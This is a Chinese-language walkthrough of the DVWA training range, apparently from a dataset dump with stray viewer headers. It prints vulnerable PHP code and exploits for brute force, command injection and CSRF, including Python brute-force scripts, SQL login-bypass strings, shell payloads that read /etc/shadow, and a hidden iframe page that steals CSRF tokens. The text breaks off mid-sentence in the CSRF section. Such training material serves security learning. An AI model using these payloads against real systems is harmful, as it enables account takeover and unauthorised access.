text
stringlengths
100
9.93M
category
stringclasses
11 values
# DVWA-WalkThrough <p align="center"> <img src="../../../../../assets/img/logo/dvwa.png" width="15%"> </p> --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **靶场项目地址** - https://github.com/ethicalhack3r/DVWA **知识点** - [暴力破解](#brute_force) - [命令执行](#command_injection) - [CSRF](#csrf) - [文件包含](#file_inclusion) - [文件上传](#file_upload) - [验证码绕过](#insecure_captcha) - [SQL 注入](#sql_injection) - [SQL 注入(盲注)](#sql_injection(blind)) - [Session 绕过](#weak_session_ids) - [XSS](#xss) - [CSP Bypass](#csp_bypass) - [JS 攻击](#javascript_attacks) **实验环境** `环境仅供参考` - phpstudy(可以测试 `%00` 截断,你还可以顺便测试 Phpstudy 后门) - Microsoft Windows 10 企业版 LTSC - 10.0.17763 - dvwa Version 1.10 *Development* (Release date: 2015-10-08) - VMware® Workstation 15 Pro - 15.0.0 build-10134415 - kali 4.19.0-kali3-amd64 --- ## 搭建/使用 **windows** 推荐用 [phpstudy](http://phpstudy.php.cn/) 进行快速搭建 修改 config.inc.php,配置数据库密码 `$_DVWA[ 'db_password' ] = 'root';` > 登录 Login URL: http://127.0.0.1/dvwa/login.php > 账号密码: admin/password **难度** **取消登录** 更改文件:\dvwa\includes\dvwaPage.inc.php 更改方法:注释即可 `//dvwaRedirect( DVWA_WEB_PAGE_TO_ROOT.'login.php' );` --- ## Brute_Force Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令 ### Low **服务器端核心代码** ```php <?php if( isset( $_GET[ 'Login' ] ) ) { // Get username $user = $_GET[ 'username' ]; // Get password $pass = $_GET[ 'password' ]; $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful $html .= "<p>Welcome to the password protected area {$user}</p>"; $html .= "<img src=\"{$avatar}\" />"; } else { // Login failed $html .= "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` 可以看到,服务器只是验证了参数 Login 是否被设置(isset 函数在 php 中用来检测变量是否设置,该函数返回的是布尔类型的值,即 true/false),没有任何的防爆破机制,且对参数 username、password 没有做任何过滤,存在明显的 sql 注入漏洞. **利用爆破 burpsuite** 0. burp 的安装过程略 1. 抓包 2. ctrl+I 将包复制到 intruder 模块,因为要对 password 参数进行爆破,所以在 password 参数的内容两边加 $ 3. 选中 Payloads,载入字典,点击 Start attack 进行爆破 4. 最后,尝试在爆破结果中找到正确的密码,可以看到 password 的响应包长度(length)"与众不同",可推测 password 为正确密码,手工验证登录成功. **手工 sql 注入** 1. Username : admin' or '1'='1 Password :(空),此时 sql 语句如下图: 2. Username :admin' # Password :(空),此时 sql 语句如下图: ### Medium **服务器端核心代码** ```php <?php if( isset( $_GET[ 'Login' ] ) ) { // Sanitise username input $user = $_GET[ 'username' ]; $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful $html .= "<p>Welcome to the password protected area {$user}</p>"; $html .= "<img src=\"{$avatar}\" />"; } else { // Login failed sleep( 2 ); $html .= "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` 相比 Low 级别的代码,Medium 级别的代码主要增加了 mysql_real_escape_string 函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,",x1a)进行转义,基本上能够抵御 sql 注入攻击,但 MySQL5.5.37 以下版本如果设置编码为 GBK,能够构造编码绕过 mysql_real_escape_string 对单引号的转义(因实验环境的 MySQL 版本较新,所以并未做相应验证);同时,$pass 做了 MD5 校验,杜绝了通过参数 password 进行 sql 注入的可能性.但是,依然没有加入有效的防爆破机制(sleep(2)实在算不上). 具体的 mysql_real_escape_string 函数绕过问题详见 - [PHP防SQL注入不要再用addslashes和mysql_real_escape_string了](https://web.archive.org/web/20171107192133/https://blog.csdn.net/hornedreaper1988/article/details/43520257) - [PHP字符编码绕过漏洞总结](http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html) - [mysql_real_escape_string() versus Prepared Statements](https://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html) 虽然sql注入不再有效,但依然可以使用 Burpsuite 进行爆破,与 Low 级别的爆破方法基本一样,这里就不赘述了. ### High **服务器端核心代码** ```php <?php if( isset( $_GET[ 'Login' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input $user = $_GET[ 'username' ]; $user = stripslashes( $user ); $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = stripslashes( $pass ); $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful $html .= "<p>Welcome to the password protected area {$user}</p>"; $html .= "<img src=\"{$avatar}\" />"; } else { // Login failed sleep( rand( 0, 3 ) ); $html .= "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?> ``` High级别的代码加入了 Token,可以抵御 CSRF 攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login 以及 user_token. 每次服务器返回的登录页面中都会包含一个随机的 user_token 的值,用户每次登录时都要将 user_token 一起提交.服务器收到请求后,会优先做 token 的检查,再进行 sql 查询. 同时,High 级别的代码中,使用了 stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个)、 mysql_real_escape_string 对参数 username、password 进行过滤、转义,进一步抵御 sql 注入. **使用 python 脚本爆破** `适用于老版本 dvwa 环境` ```python from bs4 import BeautifulSoup import urllib2 header={ 'Host': '<改成你自己机器IP!!!>', 'Cache-Control': 'max-age=0', 'If-None-Match': "307-52156c6a290c0", 'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36', 'Accept': '*/*', 'Referer': 'http://<改成你自己机器IP!!!>/dvwa/vulnerabilities/brute/index.php', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'zh-CN,zh;q=0.8', 'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2' } requrl = "http://<改成你自己机器IP!!!>/dvwa/vulnerabilities/brute/" def get_token(requrl,header): req = urllib2.Request(url=requrl,headers=header) response = urllib2.urlopen(req) print response.getcode(), the_page = response.read() print len(the_page) soup = BeautifulSoup(the_page,"html.parser") user_token = soup.form.input.input.input.input["value"] # get the user_token return user_token user_token = get_token(requrl,header) i=0 for line in open("password.txt"): requrl = "http://<改成你自己机器IP!!!>/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token i = i+1 print i,'admin',line.strip(), user_token = get_token(requrl,header) if (i == 10): break ``` get_token 的功能是通过 python 的 BeautifulSoup 库从 html 页面中抓取 user_token 的值,为了方便展示,这里设置只尝试 10 次. 注:在最新版本中,由于 hard 难度的源代码修改,无法直接使用 BeautifulSoup 匹配 user_token 值,在此给出我略微修改的版本 ```python import requests, re from bs4 import BeautifulSoup requrl='http://<改成你自己机器IP!!!>/dvwa/vulnerabilities/brute/' header={ 'Host': '<改成你自己机器IP!!!>', 'Cache-Control': 'max-age=0', 'If-None-Match': "307-52156c6a290c0", 'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36', 'Accept': '*/*', 'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'zh-CN,zh;q=0.8', 'Cookie': 'security=high; PHPSESSID=vlalfd2e2rbtptnd8pqqn646g4' } def get_token(requrl,header): req = requests.get(url=requrl,headers=header) page = req.text soup = BeautifulSoup(page,"html.parser") value = soup.select("input[name=user_token]") key=str(value) p1 = r"(?<=value=\").+?(?=\")" pattern1 = re.compile(p1) matcher1 = re.search(pattern1,key) user_token= matcher1.group(0) a=str(user_token) print (req.status_code,len(page)) return a user_token = get_token(requrl,header) i=0 for key in open("password.txt"): requrl = "http://<改成你自己机器IP!!!>/dvwa/vulnerabilities/brute/"+"?username=admin&password="+key.strip()+"&Login=Login&user_token="+user_token i = i+1 print (i,'admin',key.strip(), end=" " ) user_token = get_token(requrl,header) if (i == 100): break ``` 代码写的烂,不要笑话其实用这个匹配是最关键的 `user_token = re.findall(r"name='user_token' value='(.+?)'",content)[0]` 注: 使用 urllib3 的 ProxyManager 可以让 python 产生的 http 请求流量通过 burpsutie 的 proxy ```python import urllib3.request proxy = urllib3.ProxyManager('http://127.0.0.1:8080', headers=header) req = proxy.request('POST', url=requrl) ``` 另外,可以使用 burp 的插件 CSRF Token Tracker 捕捉 token,请自行研究 ### Impossible **服务器端核心代码** ```php <?php if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input $user = $_POST[ 'username' ]; $user = stripslashes( $user ); $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_POST[ 'password' ]; $pass = stripslashes( $pass ); $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Default values $total_failed_login = 3; $lockout_time = 15; $account_locked = false; // Check the database (Check user information) $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // Check to see if the user has been locked out. if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) { // User locked out. Note, using this method would allow for user enumeration! //$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>"; // Calculate when the user would be allowed to login again $last_login = strtotime( $row[ 'last_login' ] ); $timeout = $last_login + ($lockout_time * 60); $timenow = time(); /* print "The last login was: " . date ("h:i:s", $last_login) . "<br />"; print "The timenow is: " . date ("h:i:s", $timenow) . "<br />"; print "The timeout is: " . date ("h:i:s", $timeout) . "<br />"; */ // Check to see if enough time has passed, if it hasn't locked the account if( $timenow < $timeout ) { $account_locked = true; // print "The account is locked<br />"; } } // Check the database (if username matches the password) $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); $data->bindParam( ':password', $pass, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // If its a valid login... if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { // Get users details $avatar = $row[ 'avatar' ]; $failed_login = $row[ 'failed_login' ]; $last_login = $row[ 'last_login' ]; // Login successful $html .= "<p>Welcome to the password protected area <em>{$user}</em></p>"; $html .= "<img src=\"{$avatar}\" />"; // Had the account been locked out since last login? if( $failed_login >= $total_failed_login ) { $html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>"; $html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>"; } // Reset bad login count $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } else { // Login failed sleep( rand( 2, 4 ) ); // Give the user some feedback $html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>"; // Update bad login count $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Set the last login time $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?> ``` 可以看到 Impossible 级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续. 同时采用了更为安全的 PDO(PHP Data Object)机制防御 sql 注入,这是因为不能使用 PDO 扩展本身执行任何数据库操作,而 sql 注入的关键就是通过破坏 sql 语句结构执行恶意的 sql 命令. 关于 PDO - [PHP学习笔记之PDO](https://www.cnblogs.com/pinocchioatbeijing/archive/2012/03/20/2407869.html) --- ## Command_Injection Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的.PHP 命令注入攻击漏洞是 PHP 应用程序中常见的脚本漏洞之一,国内著名的 Web 应用程序 Discuz!、DedeCMS 等都曾经存在过该类型漏洞. ### Low **服务器端核心代码** ```php <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user $html .= "<pre>{$cmd}</pre>"; } ?> ``` **相关函数介绍** - **stristr(string,search,before_search)** stristr 函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE.详细如下: ``` string 必需.规定被搜索的字符串. search 必需.规定要搜索的字符串.如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符. before_search 可选.默认值为 "false" 的布尔值.如果设置为 "true",它将返回 search 参数第一次出现之前的字符串部分. 返回值:返回字符串的剩余部分(从匹配点).如果未找到所搜索的字符串,则返回 FALSE. 在 PHP 5.3 中,新增了 before_search 参数. 在 PHP 4.3 中,该函数变成是二进制安全的. ``` - **php_uname(mode)** 这个函数会返回运行php的操作系统的相关描述,参数 mode 可取值"a" (此为默认,包含序列"s n r v m"里的所有模式),"s "(返回操作系统名称),"n"(返回主机名)," r"(返回版本名称),"v"(返回版本信息), "m"(返回机器类型). 可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞. **漏洞利用** windows 和 linux 系统都可以用 && 来执行多条命令 `127.0.0.1 && net user` Linux 下输入 `127.0.0.1 && cat /etc/shadow` 甚至可以读取 shadow 文件,可见危害之大. ### Medium **服务器端核心代码** ```php <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user $html .= "<pre>{$cmd}</pre>"; } ?> ``` 可以看到,相比 Low 级别的代码,服务器端对 ip 参数做了一定过滤,即把"&&" 、";"删除,本质上采用的是黑名单机制,因此依旧存在安全问题. **漏洞利用** `127.0.0.1 & net user` 因为被过滤的只有"&&"与" ;",所以"&"不会受影响. 这里需要注意的是"&&"与" &"的区别: `Command 1 && Command 2` 先执行 Command 1,执行成功后执行 Command 2,否则不执行 Command 2 `Command 1 & Command 2` 先执行 Command 1,不管是否成功,都会执行 Command 2 **漏洞利用2** 由于使用的是 str_replace 把"&&" 、";"替换为空字符,因此可以采用以下方式绕过: `127.0.0.1 &;& ipconfig` 这是因为 `127.0.0.1&;&ipconfig` 中的 `;` 会被替换为空字符,这样一来就变成了 `127.0.0.1&& ipconfig` ,会成功执行. ### High **服务器端核心代码** ```php <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user $html .= "<pre>{$cmd}</pre>"; } ?> ``` 相比 Medium 级别的代码,High 级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过. **漏洞利用** 黑名单看似过滤了所有的非法字符,但仔细观察到是把`| `(注意这里|后有一个空格)替换为空字符,于是 "|"成了"漏网之鱼". `127.0.0.1|net user` Command 1 | Command 2 `|`是管道符,表示将 Command 1 的输出作为 Command 2 的输入,并且只打印 Command 2 执行的结果. ### Impossible **服务器端核心代码** ```php <?php if( isset( $_POST[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $target = $_REQUEST[ 'ip' ]; $target = stripslashes( $target ); // Split the IP into 4 octects $octet = explode( ".", $target ); // Check IF each octet is an integer if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { // If all 4 octets are int's put the IP back together. $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user $html .= "<pre>{$cmd}</pre>"; } else { // Ops. Let the user name theres a mistake $html .= '<pre>ERROR: You have entered an invalid IP.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?> ``` **相关函数介绍** - **stripslashes(string)** stripslashes 函数会删除字符串 string 中的反斜杠,返回已剥离反斜杠的字符串. - **explode(separator,string,limit)** 把字符串打散为数组,返回字符串的数组.参数 separator 规定在哪里分割字符串,参数 string 是要分割的字符串,可选参数 limit 规定所返回的数组元素的数目. - **is_numeric(string)** 检测 string 是否为数字或数字字符串,如果是返回 TRUE,否则返回 FALSE. 可以看到,Impossible 级别的代码加入了 Anti-CSRF token,同时对参数 ip 进行了严格的限制,只有诸如"数字.数字.数字.数字"的输入才会被接收执行,因此不存在命令注入漏洞. ## CSRF CSRF,全称 Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等).CSRF 与 XSS 最大的区别就在于,CSRF 并没有盗取 cookie 而是直接利用.在 2013 年发布的新版 OWASP Top 10 中,CSRF 排名第 8. ### Low **服务器端核心代码** ```php <?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` 可以看到,服务器收到修改密码的请求后,会检查参数 `password_new` 与 `password_conf` 是否相同,如果相同,就会修改密码,并没有任何的防 CSRF 机制(当然服务器对请求的发送者是做了身份验证的,是检查的 cookie,只是这里的代码没有体现= =). **漏洞利用** `http://<IP地址!!!>/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#` 当受害者点击了这个链接,他的密码就会被改成 password(这种攻击显得有些拙劣,链接一眼就能看出来是改密码的,而且受害者点了链接之后看到这个页面就会知道自己的密码被篡改了) 需要注意的是,CSRF 最关键的是利用受害者的 cookie 向服务器发送伪造请求,所以如果受害者之前用 A 浏览器登录的这个系统,而用 B 浏览器点击这个链接,攻击是不会触发的,因为 B 浏览器并不能利用 Chrome 浏览器的 cookie,所以会自动跳转到登录界面. 有人会说,这个链接也太明显了吧,不会有人点的,没错,所以真正攻击场景下,我们需要对链接做一些处理. **漏洞利用2** 我们可以使用短链接来隐藏 URL(点击短链接,会自动跳转到真实网站),自寻搜索"短网址工具 " **漏洞利用3** 可以构造攻击页面,现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成 CSRF 攻击.这里为了方便演示,就在本地写一个 test.html,下面是具体代码. ```html <img src="http://<IP地址!!!>/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/> <h1>404<h1> <h2>file not found.<h2> ``` ### Medium **服务器端核心代码** ```php <?php if( isset( $_GET[ 'Change' ] ) ) { // Checks to see where the request came from if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source $html .= "<pre>That request didn't look correct.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> ``` **相关函数说明** - **int eregi(string pattern, string string)** 检查 string 中是否含有 pattern(不区分大小写),如果有返回 True,反之 False. - **stripos(string,find,start)** stripos() 函数查找字符串在另一字符串中第一次出现的位置,不区分大小写. 可以看到,Medium 级别的代码检查了保留变量 HTTP_REFERER(http 包头的 Referer 参数的值,表示来源地址)中是否包含 SERVER_NAME(http 包头的 Host 参数,及要访问的主机名,这里是 dvwa靶机的IP地址),希望通过这种机制抵御 CSRF 攻击. PHP 超全局变量 `$_SERVER` 中的两个值: $_SERVER['HTTP_REFERER']:PHP 中获取链接到当前页面的前一页面的 url 链接地址,即 HTTP 数据包中的 Referer 参数的值. $_SERVER['SERVER_NAME']:PHP 中获取服务器主机的名称,即 HTTP 数据包中的 Host 参数的值. **漏洞利用** 过滤规则是 http 包头的 Referer 参数的值中必须包含主机名(这里是 dvwa 靶机的 IP 地址) 我们可以将攻击页面命名为 <dvwa靶机的IP地址>.html 就可以绕过了 ### High **服务器端核心代码** ```php <?php if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user $html .= "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching $html .= "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?> ``` 可以看到,High 级别的代码加入了 Anti-CSRF token 机制,用户每次访问改密页面时,服务器会返回一个随机的 token,向服务器发起请求时,需要提交 token 参数,而服务器在收到请求时,会优先检查 token,只有 token 正确,才会处理客户端的请求. **漏洞利用** 要绕过 High 级别的反 CSRF 机制,关键是要获取 token,要利用受害者的 cookie 去修改密码的页面获取关键的 token. 试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成 CSRF 攻击,下面是代码. ```html <script type="text/javascript"> function attack() { document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value; document.getElementById("transfer").submit(); } </script> <iframe src="http://<IP地址!!!>/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"> </iframe> <body onload="attack()"> <form method="GET" id="transfer" action="http://<IP地址!!!>/dvwa/vulnerabilities/csrf"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="user_token" value=""> <input type="hidden" name="Change" value="Change"> </form> </body> ``` 攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的 